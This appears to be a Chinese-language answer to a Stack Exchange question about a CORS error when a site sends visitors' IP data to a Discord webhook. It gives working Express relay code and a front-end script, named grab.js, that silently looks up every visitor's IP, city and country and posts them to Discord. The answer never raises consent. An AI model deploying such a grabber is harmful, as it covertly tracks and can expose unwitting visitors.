网站访问者IP推送Discord webhook遇CORS错误该如何解决?
问题原因
Discord Webhook 接口默认不允许前端浏览器直接发起跨域请求,这是Discord官方的安全限制,防止Webhook地址泄露后被恶意调用。你本地运行没报错大概率是用了本地开发的跨域插件或者本地调试环境绕过了CORS限制,部署到线上后浏览器的同源策略就会拦截请求。
解决方案(推荐:后端中转)
Glitch支持运行Node.js后端服务,你只需要加一层后端中转,让后端代替前端请求Discord Webhook即可,后端发起请求不存在CORS限制,同时还能避免你的Webhook地址、IP查询API密钥直接暴露在前端代码中被人恶意盗用。
步骤1:配置项目依赖
在Glitch项目根目录新增package.json文件,内容如下:
{ "name": "ip-log-to-discord", "version": "1.0.0", "dependencies": { "express": "^4.18.2", "node-fetch": "^2.6.7", "cors": "^2.8.5" }, "scripts": { "start": "node server.js" } }
步骤2:编写后端服务代码
新增server.js文件,内容如下:
const express = require('express'); const fetch = require('node-fetch'); const cors = require('cors'); const app = express(); const port = process.env.PORT || 3000; // 配置环境变量,Glitch里可以在项目设置的Environment Variables里添加,避免敏感信息泄露 const DISCORD_WEBHOOK_URL = process.env.DISCORD_WEBHOOK_URL; app.use(cors()); app.use(express.json()); // 托管前端静态文件(你的index.html、grab.js都放在public文件夹下即可) app.use(express.static('public')); // 中转接口,前端请求这个接口即可 app.post('/send-ip-info', async (req, res) => { try { const ipData = req.body; // 构造Discord需要的消息体 const params = { username: "gameJet posta", avatar_url: "https://www.origo.hu/i/1305/20130509-fogonosz-semion-mogilevich-orosz-maffiozo.jpg", content: "", embeds: [{ color: "4700374", title: "szia lajos", fields: [ {name: "Ip cim a latogatonak", value: ipData.ip_address}, {name: "varos", value: ipData.city}, {name: "orszag", value: ipData.country}, {name: "CONTINENT(nem tudom magyarul)", value: ipData.continent}, ], }] }; // 后端请求Discord Webhook const response = await fetch(DISCORD_WEBHOOK_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(params) }); if(response.ok) { res.status(200).json({status: 'success'}); } else { res.status(response.status).json({status: 'fail'}); } } catch (err) { console.error(err); res.status(500).json({status: 'error', msg: err.message}); } }); app.listen(port, () => { console.log(`App running on port ${port}`); });
步骤3:调整项目文件结构
在根目录新建public文件夹,把你原来的index.html和grab.js都移到这个文件夹里。
步骤4:修改前端grab.js代码
把原来直接请求Discord的逻辑改成请求你自己的后端接口:
$.getJSON("https://ipgeolocation.abstractapi.com/v1/?api_key=(你的API密钥)", function(data) { var request = new XMLHttpRequest(); request.open("POST", "/send-ip-info"); request.setRequestHeader('Content-type', 'application/json'); request.send(JSON.stringify(data)); })
步骤5:配置环境变量
在Glitch项目的设置页面找到Environment Variables,添加变量DISCORD_WEBHOOK_URL,值填你的Discord Webhook完整地址,也可以把IP查询的API密钥也存成环境变量,避免泄露。
不推荐的临时测试解决方案
如果暂时不想写后端,可以在请求的Discord Webhook地址前拼接公共CORS代理前缀,比如https://cors-anywhere.azm.workers.dev/,修改后的请求地址类似https://cors-anywhere.azm.workers.dev/https://discord.com/api/webhooks/xxx。但这种方式极不安全,代理方可以获取到你的Webhook地址和用户IP信息,只适合临时测试用,绝对不要在线上生产环境使用。
注意事项
绝对不要把Discord Webhook地址、API密钥直接硬编码在前端公开的代码里,他人获取后可以恶意调用你的Webhook发送垃圾信息,严重的会导致你的Webhook被Discord官方封禁。
内容的提问来源于stack exchange,提问作者Vlad

